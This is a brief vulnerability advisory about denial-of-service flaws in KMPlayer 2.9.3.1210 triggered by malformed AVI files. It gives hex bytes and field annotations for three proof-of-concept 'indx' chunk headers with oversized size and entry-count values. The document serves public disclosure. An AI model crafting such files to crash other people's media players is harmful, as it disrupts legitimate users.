source: https://www.securityfocus.com/bid/25651/info KMPlayer is prone to multiple denial-of-service vulnerabilities when handling malformed AVI media files. Successfully exploiting this issue allows remote attackers to deny service to legitimate users. These issues affect KMPlayer 2.9.3.1210; other versions may also be vulnerable. new_avihead_poc1.avi ------------------------------------------ 69 6E 64 78 FF FF FF FF 01 00 64 73 20 00 00 10 indx truck size 0xffffffff wLongsPerEntry 0x0001 BIndexSubType is 0x64 bIndexType is 0x73 nEntriesInuse is 0x10000020 new_avihead_poc2.avi ------------------------------------------ 69 6E 64 78 00 FF FF FF FF FF 64 73 FF FF FF FF indx truck size 0xffffff00 wLongsPerEntry 0xffff BIndexSubType is 0x64 bIndexType is 0x73 nEntriesInuse is 0xFFFFFFFF new_avihead_poc3.avi ------------------------------------------ 69 6E 64 78 00 FF FF FF 01 11 64 73 20 00 00 10 indx truck size 0xffffff00 wLongsPerEntry 0x0001 BIndexSubType is 0x64 bIndexType is 0x73 nEntriesInuse is 0x10000020